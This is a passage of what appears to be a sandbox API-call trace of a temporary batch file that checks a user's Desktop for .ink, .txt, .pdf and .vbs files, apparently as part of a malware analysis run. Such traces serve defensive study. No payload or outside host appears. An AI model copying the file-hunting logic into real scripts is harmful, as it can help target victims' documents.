lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0038.581] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.582] GetLastError () returned 0x2 [0038.582] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.582] GetLastError () returned 0x6 [0038.582] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.582] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.582] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.582] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.582] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.582] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.582] SetConsoleInputExeNameW () returned 0x1 [0038.582] GetConsoleOutputCP () returned 0x1b5 [0038.583] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.583] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.583] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.583] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.583] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.583] GetProcessHeap () returned 0x4e0000 [0038.584] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.584] GetProcessHeap () returned 0x4e0000 [0038.584] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0038.584] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0038.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.584] GetFileType (hFile=0x74) returned 0x1 [0038.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.584] GetProcessHeap () returned 0x4e0000 [0038.584] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.584] GetProcessHeap () returned 0x4e0000 [0038.584] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.584] _tell (_FileHandle=3) returned 135 [0038.584] _close (_FileHandle=3) returned 0 [0038.584] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.586] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0038.586] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0038.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.586] GetFileType (hFile=0x74) returned 0x1 [0038.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.586] GetProcessHeap () returned 0x4e0000 [0038.586] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.586] GetProcessHeap () returned 0x4e0000 [0038.586] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.586] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.586] GetProcessHeap () returned 0x4e0000 [0038.586] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.586] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.586] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.587] GetProcessHeap () returned 0x4e0000 [0038.587] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.587] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.587] GetProcessHeap () returned 0x4e0000 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.587] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.587] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.587] GetProcessHeap () returned 0x4e0000 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.587] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.587] GetProcessHeap () returned 0x4e0000 [0038.587] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.587] GetProcessHeap () returned 0x4e0000 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.587] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.588] _tell (_FileHandle=3) returned 160 [0038.588] _close (_FileHandle=3) returned 0 [0038.588] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0038.588] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.588] GetLastError () returned 0x2 [0038.588] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.588] GetLastError () returned 0x6 [0038.588] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.588] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.589] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.589] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.589] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.589] SetConsoleInputExeNameW () returned 0x1 [0038.589] GetConsoleOutputCP () returned 0x1b5 [0038.589] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.589] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.589] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.589] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.590] GetProcessHeap () returned 0x4e0000 [0038.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.590] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0038.590] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.590] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0038.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.591] GetFileType (hFile=0x74) returned 0x1 [0038.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.591] GetProcessHeap () returned 0x4e0000 [0038.591] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.591] GetProcessHeap () returned 0x4e0000 [0038.591] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.591] _tell (_FileHandle=3) returned 162 [0038.591] _close (_FileHandle=3) returned 0 [0038.591] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.591] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.591] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.591] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0038.592] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0038.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.592] GetFileType (hFile=0x74) returned 0x1 [0038.592] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.592] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.592] GetProcessHeap () returned 0x4e0000 [0038.592] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.592] GetProcessHeap () returned 0x4e0000 [0038.592] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.592] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.592] GetProcessHeap () returned 0x4e0000 [0038.592] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.592] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.592] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.592] GetProcessHeap () returned 0x4e0000 [0038.592] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.592] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.592] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.592] GetProcessHeap () returned 0x4e0000 [0038.592] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.592] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.593] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.593] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.593] GetProcessHeap () returned 0x4e0000 [0038.593] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.593] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.593] GetProcessHeap () returned 0x4e0000 [0038.593] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.593] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.593] GetProcessHeap () returned 0x4e0000 [0038.593] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.593] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.594] _tell (_FileHandle=3) returned 187 [0038.594] _close (_FileHandle=3) returned 0 [0038.594] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0038.594] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.594] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.594] GetLastError () returned 0x2 [0038.594] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.594] GetLastError () returned 0x6 [0038.594] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.594] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.594] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.594] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.595] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.595] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.595] SetConsoleInputExeNameW () returned 0x1 [0038.595] GetConsoleOutputCP () returned 0x1b5 [0038.595] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.595] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.595] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.595] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.595] GetProcessHeap () returned 0x4e0000 [0038.595] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.595] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.596] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.596] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0038.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.596] GetFileType (hFile=0x74) returned 0x1 [0038.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.596] GetProcessHeap () returned 0x4e0000 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.597] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.597] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.597] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.597] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.597] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.597] GetProcessHeap () returned 0x4e0000 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.597] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.598] _tell (_FileHandle=3) returned 212 [0038.598] _close (_FileHandle=3) returned 0 [0038.598] GetFullPathNameW (in: 